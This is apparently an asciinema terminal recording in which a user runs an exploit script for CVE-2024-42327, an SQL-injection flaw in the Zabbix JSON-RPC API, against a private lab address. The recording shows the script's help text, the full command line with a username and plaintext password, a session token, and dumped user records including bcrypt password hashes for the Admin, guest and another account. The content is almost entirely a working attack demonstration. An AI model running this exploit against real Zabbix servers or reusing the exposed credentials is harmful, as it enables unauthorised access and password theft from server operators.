{"version": 2, "width": 120, "height": 40, "timestamp": 1733015555, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}} [0.023208, "o", "\u001b[?2004h\u001b]0;aramosf@hulk: ~/cve-2024-42327\u0007\u001b[01;32maramosf@hulk\u001b[00m:\u001b[01;34m~/cve-2024-42327\u001b[00m$ "] [5.631954, "o", "p"] [5.823053, "o", "y"] [5.96517, "o", "t"] [6.038013, "o", "h"] [6.132216, "o", "o"] [6.252649, "o", "n"] [6.372839, "o", "3"] [6.943046, "o", " "] [7.091758, "o", "c"] [7.283144, "o", "v"] [7.38133, "o", "e"] [7.622265, "o", "-2024-42327.py "] [9.648912, "o", "\r\n\u001b[?2004l\r"] [9.788779, "o", "usage: cve-2024-42327.py [-h] -u URL -n USERNAME -p PASSWORD [--example]\r\ncve-2024-42327.py: error: the following arguments are required: -u/--url, -n/--username, -p/--password\r\n"] [9.803201, "o", "\u001b[?2004h\u001b]0;aramosf@hulk: ~/cve-2024-42327\u0007\u001b[01;32maramosf@hulk\u001b[00m:\u001b[01;34m~/cve-2024-42327\u001b[00m$ "] [10.732723, "o", "python3 cve-2024-42327.py "] [11.067405, "o", "-"] [11.380918, "o", "h"] [11.827326, "o", "\r\n\u001b[?2004l\r"] [11.907433, "o", "usage: cve-2024-42327.py [-h] -u URL -n USERNAME -p PASSWORD [--example]\r\n\r\nExploit script for CVE-2024-42327 (Zabbix vulnerability ZBX-25623). Use to fetch user details from a Zabbix JSON-RPC\r\nAPI.\r\n\r\noptions:\r\n -h, --help show this help message and exit\r\n -u URL, --url URL The API endpoint URL.\r\n -n USERNAME, --username USERNAME\r\n The username for authentication.\r\n -p PASSWORD, --password PASSWORD\r\n The password for authentication.\r\n --example Show an example usage of the script.\r\n"] [11.919942, "o", "\u001b[?2004h\u001b]0;aramosf@hulk: ~/cve-2024-42327\u0007\u001b[01;32maramosf@hulk\u001b[00m:\u001b[01;34m~/cve-2024-42327\u001b[00m$ "] [16.550836, "o", "\u0007"] [16.95006, "o", "python3 cve-2024-42327.py -h"] [17.387951, "o", "\b\u001b[K"] [18.608656, "o", "u"] [18.796757, "o", " "] [18.850384, "o", "h"] [18.968176, "o", "t"] [19.112064, "o", "t"] [19.160173, "o", "p"] [19.376986, "o", ":"] [19.664085, "o", "/"] [19.784097, "o", "/"] [19.901705, "o", "1"] [20.190921, "o", "9"] [20.286533, "o", "2"] [20.669543, "o", "."] [20.716767, "o", "1"] [21.000669, "o", "6"] [21.150403, "o", "8"] [21.771735, "o", "."] [22.584995, "o", "2"] [22.705738, "o", "0"] [22.821349, "o", "1"] [22.969055, "o", "."] [23.401091, "o", "1"] [23.520496, "o", "2"] [23.683926, "o", "8"] [25.267983, "o", "/"] [25.437172, "o", "a"] [26.417757, "o", "p"] [26.588611, "o", "i"] [27.228163, "o", "_"] [27.76101, "o", "j"] [27.903943, "o", "s"] [28.048257, "o", "o"] [28.090082, "o", "n"] [28.257911, "o", "r"] [28.360427, "o", "p"] [28.52776, "o", "c"] [28.689477, "o", "."] [28.910528, "o", "p"] [29.07897, "o", "h"] [29.103576, "o", "p"] [29.295991, "o", " "] [29.412421, "o", "-"] [29.67697, "o", "n"] [29.822401, "o", " "] [29.940675, "o", "a"] [30.037224, "o", "r"] [30.135962, "o", "a"] [30.202749, "o", "m"] [30.299134, "o", "o"] [30.374528, "o", "s"] [30.46967, "o", "f"] [30.586251, "o", " "] [30.661663, "o", "-"] [31.642976, "o", "p"] [31.786604, "o", " "] [32.069131, "o", "H"] [32.24343, "o", "o"] [32.410478, "o", "l"] [32.485405, "o", "a"] [32.746503, "o", "1"] [32.7945, "o", "2"] [32.89009, "o", "3 \r"] [33.082496, "o", "4"] [34.512331, "o", "\r\n\u001b[?2004l\r"] [34.687077, "o", "Valid session token: a43530e0eff1f1ce828cc04dca95eb14\r\n"] [34.729963, "o", "Admin, Zabbix, Administrator, 1, $2y$10$92nDno4n0Zm7Ej7Jfsz8WukBfgSS/U0QkIuu8WkJPihXBb2A1UrEK\r\n"] [34.772683, "o", "guest, , , 2, $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06\r\n"] [34.815154, "o", "aramosf, Alejandro, Ramos, 3, $2y$10$uoCC4fwF7GK3FZTclPyDtOJ7YcMyY.1.dCCmnDY7I4dmuK6Ip6Nae\r\n"] [36.39261, "o", "\u001b[?2004h\u001b]0;aramosf@hulk: ~/cve-2024-42327\u0007\u001b[01;32maramosf@hulk\u001b[00m:\u001b[01;34m~/cve-2024-42327\u001b[00m$ "] [38.060639, "o", "\u001b[?2004l\r\r\nexit\r\n"]